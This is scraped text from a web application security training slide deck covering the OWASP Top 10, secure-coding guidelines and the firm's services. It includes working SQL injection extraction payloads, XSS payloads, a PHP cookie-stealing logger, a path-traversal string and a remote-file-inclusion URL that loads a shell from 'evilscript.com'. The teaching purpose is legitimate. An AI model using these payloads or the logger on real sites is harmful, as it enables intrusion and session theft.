83
Web Application Security By Sunny Vaghela sunny@techdefence .com

Session 1 Web Application Security

Embed Size (px)

Citation preview

Page 1: Session 1 Web Application Security

Web Application Security

By

Sunny [email protected]

Page 2: Session 1 Web Application Security

Session Flow

• What is Web Application Security?• Security Misconceptions• Reasons for Attacking Web Applications• OWASP Top 10 Vulnerabilities• Security guidelines• Web Application Security checklist

Page 3: Session 1 Web Application Security

Need for Cyber Security

• Use of Complex computer infrastructure is increasing .• Use of Web Applications increasing. • Decreasing Level of Skill Set of Hackers.

Page 4: Session 1 Web Application Security

Problem Illustration

Fir

ewal

l

Hardened OS

Web Server

App ServerF

irew

all

Dat

abas

es

Leg

acy

Sys

tem

s

Web

Ser

vice

s

Dir

ecto

ries

Hu

man

Res

rcs

Bill

ing

Custom Code

APPLICATIONATTACK

Ne

two

rk L

ay

er

Ap

pli

ca

tio

n L

ay

er

Acc

ou

nts

Fin

ance

Ad

min

istr

atio

n

Tra

nsa

ctio

ns

Co

mm

un

icat

ion

Kn

ow

led

ge

Mg

mt

E-C

om

mer

ce

Bu

s. F

un

ctio

ns

Insider

Application LayerApplication Layer• Attacker sends attacks

inside valid HTTP requests

• Your custom code is tricked into doing something it should not

• Security requires software development expertise, not signatures

•Network Layer• Firewall, hardening,

patching, IDS, and SSL cannot detect or stop attacks inside HTTP requests.

• Security relies on signature databases

Page 5: Session 1 Web Application Security

Security Misconceptions

“The Firewall protects my web server and database”

• Access to the server through ports 80 and 443 makes the web server part of your external perimeter defense

• Vulnerabilities in the web server software or web applications may allow access to internal network resources

Page 6: Session 1 Web Application Security

Security Misconceptions

“The IDS protects my web server and database”

• The IDS is configured to detect signatures of various well-known attacks

• Attack signatures do not include those for attacks against custom applications

Page 7: Session 1 Web Application Security

Security Misconceptions

“SSL secures my site” • SSL secures the transport of data between the web server and the user’s browser.

• SSL does not protect against attacks against the server and applications.

• SSL is the hackers best friend due to the false sense of security

Page 8: Session 1 Web Application Security

The Source of Problem

“Malicious hackers don’t create security holes; they simply exploit them. Security holes and vulnerabilities – the real root cause of the problem – are the result of bad software design and implementation.”

-John Viega & Gary McGraw

Page 9: Session 1 Web Application Security

Reasons for Attacking Web Apps

Page 10: Session 1 Web Application Security

Vulnerability Used

Page 11: Session 1 Web Application Security

OWASP Top 10 Vulnerabilities

1. Injection Flaws2. Cross Site Scripting (XSS)3. Malicious File Execution4. Insecure Direct Object Reference 5. Cross Site Request Forgery (CSRF)6. Information Leakage and Improper Error Handling7. Broken Authentication and Session Management 8. Insecure Cryptographic Storage9. Insecure Communications10. Failure to Restrict URL Access

Page 12: Session 1 Web Application Security

Injection Flaws

• Injection means…•Tricking an application into including unintended commands in the data sent to an interpreter

• Interpreters…•Take strings and interpret them as commands•SQL, OS Shell, LDAP, XPath, etc…

• SQL injection is still quite common•Many applications still susceptible

Page 13: Session 1 Web Application Security

SQL Injection Example

3

Attacker sends data containing SQL fragments

Attacker enters SQL fragments into a web page that uses input in a query

1

Attacker views unauthorized data

Custom Code

Acc

ou

nts

Fin

ance

Ad

min

istr

atio

n

Tra

nsa

ctio

ns

Co

mm

un

icat

ion

Kn

ow

led

ge

Mg

mt

E-C

om

mer

ce

Bu

s. F

un

ctio

ns

Database

2 Application sends modified query to database, which executes it

EXAMPLE: $sql = "SELECT * FROM table WHERE id = '" . $_REQUEST['id’] . "’";

Page 14: Session 1 Web Application Security

Injection Flaws

Fire

wal

l

Hardened OS

Web Server

App ServerF

irew

all

Dat

abas

es

Lega

cy S

yste

ms

Web

Ser

vice

s

Dire

ctor

ies

Hum

an R

esrc

s

Bill

ing

Custom Code

APPLICATIONATTACK

Net

wor

k La

yer

App

licat

ion

Laye

r

Acc

ount

s

Fin

ance

Adm

inis

trat

ion

Tra

nsac

tions

Com

mun

icat

ion

Kno

wle

dge

Mgm

t

E-C

omm

erce

Bus

. Fun

ctio

ns

HTTP request

SQL

queryDB

Table

HTTP response

“SELECT * FROM accounts WHERE acct=‘’ OR 1=1--’”

Account Summary

Acct:5424-6066-2134-4334

Account:

SKU:

Account:

SKU:

1. Application presents a form to the attacker all via SSL2. Attacker sends an attack in the form data

3. Application forwards attack to the database in a SQL query

4.Database runs query containing attack and sends encrypted results back to application5. Application decrypts data as normal and sends results to the user

Page 15: Session 1 Web Application Security

SQL Injection

• It is a flaw in "web application" development, it is not a DB or web server problem.

• Most programmers are still not aware of this problem •A lot of the tutorials & demo “templates” are vulnerable

• Even worse, a lot of solutions posted on the Internet are not good enough.

• In our pen tests over 60% of our clients turn out to be vulnerable to SQL Injection

Page 16: Session 1 Web Application Security

Business Impacts of SQL Injection

Attackers can…

• Access the entire database schema• Steal, modify, and delete database contents• Prevent legitimate access to the database• Run operating system commands on database server• Disclose company proprietary data

Page 17: Session 1 Web Application Security

SQL Injection

Common vulnerable login query SELECT * FROM users WHERE login = 'victor'AND password = '123‘

(If it returns something then login!)

ASP/MS SQL Server login syntax

var sql = "SELECT * FROM usersWHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

Page 18: Session 1 Web Application Security

SQL Injection

Injecting Through Strings

formusr = ' or 1=1 – – formpwd = anything

Final query would look like this:

SELECT * FROM usersWHERE username = ' ' or 1=1 – – AND password = 'anything'

Page 19: Session 1 Web Application Security

SQL Injection

The Power of ‘

• It closes the string parameter.• Everything after is considered part of the SQL command.

SELECT * FROM clients WHERE account = 12345678AND pin = 1111

PHP/MySQL login syntax$sql = "SELECT * FROM clients WHERE " . "account = $formacct AND " . "pin = $formpin";

Page 20: Session 1 Web Application Security

SQL Injection

Injecting Numeric Fields

$formacct = 1 or 1=1 # $formpin = 1111

Final query would look like this:

SELECT * FROM clientsWHERE account = 1 or 1=1 # AND pin = 1111

Page 21: Session 1 Web Application Security

SQL Injection

• Standard SQL commands such as "Select“ , "Insert“, "Update“, "Delete“, "Create", and "Drop" can be used to accomplish almost everything that one needs to do with a database.

• When you click a link like this,

• www.site.com/news.asp?ArticleID=10,

• The link tells the site to look in the table that stores the article names for an article who’s "ArticleID" is 10.

Page 22: Session 1 Web Application Security

SQL Injection

• The "INFORMATION_SCHEMA" holds the names of every table and column on a site.

• On every SQL server there will be an "INFORMATION_SCHEMA" and its name will never change.

Page 23: Session 1 Web Application Security

Understanding Error Messages

• Example : www.site.com/index.php?id=1

• Add ‘ or /* after id= 1 to check whether site is vulnerable or not.

• if site is giving some error/blank page then site is vulnerable to SQL injection.

Page 24: Session 1 Web Application Security

Finding out Vulnerable Columns

• Example : www.site.com/index.php?id=1+order+by+1 --

• Increase order till you get an error message something like

“Unknown Column in ‘Order’ Clause

Page 25: Session 1 Web Application Security

Extracting Information from database

www.site.com/index.php?id=1+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables

• The above mentioned query gives names of tables stored in database.

www.site.com/index.php?id=1+union+all+select+1,column_name+3,4,5,6,7+from+information_schema.columns+where+table_schema=char()

• The above mentioned query gives names of tables stored in database.

Page 26: Session 1 Web Application Security

Extracting Information from database

www.site.com/index.php?id=1+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables

• The above mentioned query gives names of tables stored in database.

www.site.com/index.php?id=1+union+all+select+1,column_name+3,4,5,6,7+from+information_schema.columns

• The above mentioned query gives names of columns stored in database.

Page 27: Session 1 Web Application Security

Oledb Injection

www.site.com/index.php?id=

• Add ‘having 1=1-- after id=1

• if following error is shown then site is vulnerable to OLEDB injection.

Microsoft OLE DB Provider for ODBC Drivers error '80040e14‘

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'progmaster_progid' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/index.asp, line 148

Page 28: Session 1 Web Application Security

Oledb Injection – Look For table

www.site.com/index.php?id=

And 1 = convert(int,(select top 1 table_name from information_schema.tables))--

• The above query give name of first table stored in database.

www.site.com/index.php?id=

And 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name not in (“first table”)))--

•The above query give name of first table stored in database.

Page 29: Session 1 Web Application Security

Oledb Injection – Look For table

www.site.com/index.php?id= and 1 = convert(int,(select top 1 table_name from information_schema.tables))--

• The above query give name of first column stored in database.

www.site.com/index.php?id= and 1 = convert(int,(select top 1 table_name from information_schema.columns where column_name not in (“first table”)))—

•The above query give name of second table stored in database.

Page 30: Session 1 Web Application Security

SQL Injection

SQL Injection Demo

Page 31: Session 1 Web Application Security

XSS ( Cross Site Scripting)

• Occurs any time…• Raw data from attacker is sent to an innocent user

• Raw data…• Stored in database• Reflected from web input (form field, hidden field, url, etc…)• Sent directly into rich JavaScript client

• Virtually every web application has this problem• Try this in your browser – javascript:alert(document.cookie)

Page 32: Session 1 Web Application Security

Reflected XSS

http://www.boi.com Search-field input is often reflected back to user.

<script>alert(document.cookie)</script><script>alert(document.cookie)</script>

Site reflects the script back to user where it executes and displays the session cookie in a pop-up.

Page 33: Session 1 Web Application Security

Business Impact of XSS

Attackers can…

• Steal user sessions for complete account takeover• Steal data on web pages viewed by victim• Deface pages viewed by victim• Use web pages for phishing

Page 34: Session 1 Web Application Security

Business Impact of XSS

Occurs any time…

• Raw data from attacker is sent to an innocent user

Raw data…

• Stored in database• Reflected from web input (form field, hidden field, url, etc…)• Sent directly into rich JavaScript client• Virtually every web application has this problem

Page 35: Session 1 Web Application Security

Finding XSS

• Most Common Blogs, Forums, Shout boxes, Comment Boxes, Search Box's, there are too many to mention.

• Using 'Google Dorks‘ search inurl: "search.php?q="

•XSS Examples

http://site.com/search.php?q=<script>alert("XSS")</script>

http://site.com/search.php?q=<script>window.open( "http://www.google.com/" )</script>

Page 36: Session 1 Web Application Security

Case Study: XSS

A British researcher, Jim Ley, discovered (2004) a XSS flaw in Google and provided this proof of concept Phishing page where Google becomes a ‘paying service’. If you would be so kind as to provide your credit card details . Now fixed.

Page 37: Session 1 Web Application Security

XSS

XSS Demo

Page 38: Session 1 Web Application Security

Stored XSS

Application with stored XSS vulnerability

3

2

Attacker sets the trap – update my profile

Attacker enters a malicious script into a web page that stores the data on the server

1

Victim views page – sees attacker profile

Script silently sends attacker Victim’s session cookie

Script runs inside victim’s browser with full access to the DOM and cookies

Custom Code

Acc

ount

s

Fin

ance

Adm

inis

trat

ion

Tra

nsac

tions

Com

mun

icat

ion

Kno

wle

dge

Mgm

tE

-Com

mer

ce

Bus

. Fun

ctio

ns

Page 39: Session 1 Web Application Security

Finding XSS

Step 1

•Try this in Browser.

• javascript: alert(document.cookie)

Page 40: Session 1 Web Application Security

Finding XSS

<?php$ip = $_SERVER['REMOTE_ADDR'];$cookie = $_GET['cookie'];$referer = $_SERVER['HTTP_REFERER'];$browser = $_SERVER['HTTP_USER_AGENT']; $redirect =$_GET['redirect'];$data = "IP: " . $ip . "\n" ."Cookie: " . $cookie . "\n" ."Referrer: " . $referer ."\n" ."Browser: " . $browser . "\n\n";$log = "cookies.txt";@chmod($log, 0777);$f = fopen($log, 'a');fwrite($f, $data); fclose($f);@header("Location: $redirect");?>

Page 41: Session 1 Web Application Security

Finding XSS

Step 3

• Download Add/edit Cookie – www.addon.mozilla.org

Page 42: Session 1 Web Application Security

Finding XSS

XSS Demo

Page 43: Session 1 Web Application Security

Insecure Direct Object Reference - LFI

•The simplest way to see if a script is vulnerable to local file inclusion, is this:

•index.php?page=../../../../../../../../../etc/passwd

•That Shows the complete User information in that server with paths..

•Where ../ causes the script to move up one directory,

•Multiple ../ cause the script to move to the top level directory (/, the root of the filesystem) and /etc/passwd is the Unix passwd file.

Page 44: Session 1 Web Application Security

Malicious File Inclusion - RFI

• Malicious file execution vulnerabilities are found in many applications.

• Developers will often directly use or concatenate potentially hostile input with file or stream functions, or improperly trust input files.

• On many platforms, frameworks allow the use of external object references, such as URLs or file system references.

• When the data is insufficiently checked, this can lead to arbitrary remote and hostile content being included, processed or invoked by the web server.

Page 45: Session 1 Web Application Security

Malicious File Inclusion Illustration

3

Attacker sends request that specifies the path to a malicious file in a parameter

Attacker changes a parameter which is supplied to a file inclusion function

1

Attacker views results of executing the attack, or takes control of the affected server

Custom Code

Acc

ou

nts

Fin

ance

Ad

min

istr

atio

n

Tra

nsa

ctio

ns

Co

mm

un

icat

ion

Kn

ow

led

ge

Mg

mt

E-C

om

mer

ce

Bu

s. F

un

ctio

ns

File System

2 PHP application includes the specified file and executes the contents

Page 46: Session 1 Web Application Security

Business Impact of RFI

This allows attackers to perform:

• Remote code execution • Remote root kit installation and complete system compromise.• Remote shell installation• Remote modification & deletion of files on server.

Page 47: Session 1 Web Application Security

RFI

If allow_url_include is on in php.ini, we can inject a shell directly.

You only need to load by GET or POST directly to an URI with the shell (using a non PHP extension):

Like http://www.techdefence.com/index.php?page=news.php

Now if the Index.php has Remote File Inclusion like

<?phpinclude($_GET[‘page’]);?>

So the above URL is written like http://www.techdefence.com/index.php?page=http://www.evilscript.com/shell.txt

Page 48: Session 1 Web Application Security

Fixing RFI

• Practice Secure Coding Techniques

• Instead of using $_GET use $_POST

• Filter all the pages and Give file permissions perfectly so that no one can access.

• Keep Safe Mode On in PHP.

• Disallow unused commands in linux environment

Page 49: Session 1 Web Application Security

Information Leakage and Improper Error Handling

• Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems.

• Applications can also leak internal state via how long they take to process certain operations or via different responses to differing inputs, such as displaying the same error text with different error numbers.

• Web applications will often leak information about their internal state through detailed or debug error messages.

Page 50: Session 1 Web Application Security

Information Leakage and Improper Error Handling

• Fixing Information Leakage & improper Error Handling

• Ensure that the entire software development team shares a common approach to exception handling.

• Disable or limit detailed error handling. In particular, do not display debug information to end users, stack traces, or path information.

• Ensure that secure paths that have multiple outcomes return similar or identical error messages in roughly the same time.

Page 51: Session 1 Web Application Security

Failure to restrict URL Access

• Frequently, the only protection for a URL is that links to that page are not presented to unauthorized users.

• However, a motivated, skilled, or just plain lucky attacker may be able to find and access these pages, invoke functions, and view data.

Page 52: Session 1 Web Application Security

Fixing Failure to restrict URL Access

• Ensure the access control matrix is part of the business, architecture, and design of the application

• Ensure that all URLs and business functions are protected by an effective access control mechanism.

• Pay close attention to include/library files.

• Do not assume that users will be unaware of special or hidden URLs or APIs

• Keep up to date with virus protection and patches

Page 53: Session 1 Web Application Security

Vulnerability Scnners

• Acunetix Vulnerability Scanner

• W3af Vulnerability Scanner

• AppScan Vulnerability Scanner

Page 54: Session 1 Web Application Security

Security Guidelines

1. Validate Input and Output2. Fail Securely (Closed)3. Keep it Simple4. Use and Reuse Trusted Components5. Defense in Depth6. Only as Secure as the Weakest Link7. Security By Obscurity Won't Work8. Least Privilege9. Compartmentalization (Separation of Privileges)

Page 55: Session 1 Web Application Security

Validate Input & Output

• All user input and user output should be checked to ensure it is both appropriate and expected.

• Allow only explicitly defined characteristics and drop all other data.

Page 56: Session 1 Web Application Security

Fail Securely

• When it fails, it fails closed.

•It should fail to a state that rejects all subsequent security requests.

•A good analogy is a firewall. If a firewall fails it should drop all subsequent packets

Page 57: Session 1 Web Application Security

Keep It Simple

• If a security system is too complex for its user base, it will either not be used or users will try to find measures to bypass it.

• This message applies equally to tasks that an administrator must perform in order to secure an application.

• This message is also intended for security layer API's that application developers must use to build the system.

Page 58: Session 1 Web Application Security

Use & Reuse Components

• Using and reusing trusted components makes sense both from a resource stance and from a security stance.

• When someone else has proven they got it right, take advantage of it.

Page 59: Session 1 Web Application Security

Defence In Depth

• Relying on one component to perform its function 100% of the time is unrealistic.

• While we hope to build software and hardware that works as planned, predicting the unexpected is difficult. Good systems don't predict the unexpected, but plan for it.

Page 60: Session 1 Web Application Security

Only as Secure as the Weakest Link

•Careful thought must be given to what one is securing.

•Attackers are lazy and will find the weakest point and attempt to exploit it.

Page 61: Session 1 Web Application Security

Security By Obscurity Won't Work

• It's naive to think that hiding things from prying eyes doesn't buy some amount of time.

• This strategy doesn't work in the long term and has no guarantee of working in the short term.

Page 62: Session 1 Web Application Security

Least Privilege

• Systems should be designed in such a way that they run with the least amount of system privilege they need to do their job.

Page 63: Session 1 Web Application Security

Compartmentalization (Separation of Privileges)

• Compartmentalizing users, processes and data helps contain problems if they do occur.

• Compartmentalization is an important concept widely adopted in the information security realm.

Page 64: Session 1 Web Application Security

Web Application Vulnerability Checklists

• Parameter CheckList

• URL request• URL encoding• Query string• Header• Cookie• Form field• Hidden field• Client side validation• ‘Tainted’ parameters• Min/Max lengths• Concatenate commands• Determine policies for access to content and functions.

Page 65: Session 1 Web Application Security

Session Management

• Token protection• Session Duration• Idle time Duration• Guess Session ID format• Transfer in URL or BODY?• Is Session Id linked to the IP address?• Change Referrer tag

Page 66: Session 1 Web Application Security

Backend Authentication

• Trust relationships• Encryption• Plaintext password in HTML• Password in configuration file.

Page 67: Session 1 Web Application Security

XSS

• Which type – stored or reflected?• Check for 404/500 error pages for return information.• Input validation.

Page 68: Session 1 Web Application Security

Misconfiguration

• Nikto results• Nessus results• Patch level• Directory listing• Directory permission• Error messages• Default username/pass• SSL cert. Configuration• Debug or configuration Files• Check for latest vulnerabilities

Page 69: Session 1 Web Application Security

Unwanted

• Backup files• Defaults files• Services• Remote admin. Access

Page 70: Session 1 Web Application Security

SQL Injection

• Mirror website and search for all input parameters• Gain database related information• Error Messages• Privileges given to the webserver or database

Page 71: Session 1 Web Application Security

Access Points

• Ability to brute force at the discovered access points.• Ability to bypass auth. with spoofed tokens• Ability to conduct replay attack.• Forced browsing, does application keep a check by tracking request from each user.

Page 72: Session 1 Web Application Security

Need For Cyber Security

• Information is asset of any organization. Any breach in information security can affect image/reputation of organization.

• Lack of Cyber Security Awareness among netizens.

• 10% of total Netizens aware about Hacking & Hackers.

• 5% of total Law Enforcement Agencies people are well trained to tackle cyber crime.

• Recent Surveys shows 200% increase in Cyber Crime.

Page 73: Session 1 Web Application Security

TechDefence Consulting Pvt Ltd

• Vision :

To make a lasting impression and carve a special space for ourselves as a trusted and globally accepted security service provider.

• Mission: To affirm our vision of being a global security service provider, TechDefence Consulting aims to deliver timely, efficient , quality conscious and cost effective security solutions through our team of certified security professionals to organizations across the globe and assist as well as ensure that their systems and processes are totally secure and stable from any threat whatsoever.

Page 74: Session 1 Web Application Security

Our Global Presence

• India Offices: Ahmedabad, V.V.Nagar, Nasik, Pune,Hyderabad • International Offices:

Mauritius, Australia

Page 75: Session 1 Web Application Security

Our Services

TechInvestigations – A Cyber Crime Investigation unit

“ If you want to catch Criminal then Think like “one”

•Analysing, investigating and accumulating the digital evidence and cyber trails is better known as Cyber Crime Investigation. It can be found in computer hard disks, cell phones, CDs, DVDs, floppies, computer networks, the Internet etc.

• Make Law Enforcement or Government Agencies - Aware of the various Cyber Crimes!.

• Guide them - How to Prevent Cyber Crimes?

• Solve Cyber Crime Cases using our technical expertise for Law Enforcement Agencies.

• Aide them to – Legally resolve and bring the Cyber Criminals (People who commit Cyber Crimes) to justice.

Page 76: Session 1 Web Application Security

Our Services

TechInvestigation – A Cyber Crime Investigation unit

Our Recent Cases:

• Ahmedabad Serial Bomb Blast Terror Mail case – Traced out Terror Mail trail of Ahmedabad Serial Bomb Blast case.

• Cyber Investigation of Mumbai Blasts – We have successfully accomplished task of getting confidential information from JAMAT UD DAWAH.

Page 77: Session 1 Web Application Security

Our Services

TechHackscan – A Vulnerability Assessment & Penetration Testing unit

“Where you will see the facilities, we see the flaws”

• As Penetration tester & Website Security Auditor, we evaluate security of client’s websites through simulation of a controlled and managed intrusion into your system by a malicious user, known as a cracker.

• We will assure that our active analysis of the websites for any potential vulnerability that may result from poor or improper system configuration, development is going to be carried out.

• We submit Developer as well as remediation report.

Page 78: Session 1 Web Application Security

Our Services

TechForensics – A Cyber Forensics Unit

• With the right application of science and technology for acquisition, preservation, identification, analysis, and presentation of digital evidence or data in a way, we preserve the integrity of the digital information blending it with the legal acceptability.

• We provide the highest quality instructor interactive training to help legal firms, accounting firms, government and law enforcement agencies for better performance in the cyber forensic matters.

• We can also work on Framework Development for Cyber Forensics Labs (CFL)

Page 79: Session 1 Web Application Security

Our Services

Training & Workshops

• TechDefence Certified Cyber Security Expert.

• NASSCOM Predicts requirement of 1,88,000 security professionals by 2010,currently the number of security professionals in india is arount 22,000.

• CCSE is Career oriented hands on training program on Advanced Ethical Hacking, Cyber Crime Investigation, Cyber Forensics & Penetration Testing.

Page 80: Session 1 Web Application Security

Our Clients

Private Sector – VAPT • Computer Clinic - Mauritius• Multievents Ltd - Mauritius• Noble Ventures – USA• Future Group• Mid Day, Delhi

Govt Sector

• Crime Branch, Ahmedabad• ATS, Mumbai• URICM, Gandhi Nagar• Chief Minister’s Office, Government of Gujarat

Page 81: Session 1 Web Application Security

Our Clients

Corporate Workshops – Hackintosh 2009

• YAHOO!,• Google,• K7 Antivirus, • ZOHO, • KPMG, • HCL, • TCS• Delloitte ,• ISACA,T• Temenos.

Page 82: Session 1 Web Application Security

TechDefence Labs

• A Research & Development Unit focusing on Secure Software Development, Client Security Product, Security Product Development.

• TechDefence Projects to offer

• HIDS (Host based Intrusion Detection System).• Centralized Cyber Café Monitoring & Reporting System.• File Encrypter.• Online VAPT Scanner.• Online Multi Antivirus Scanner.

Page 83: Session 1 Web Application Security

Thank You

[email protected]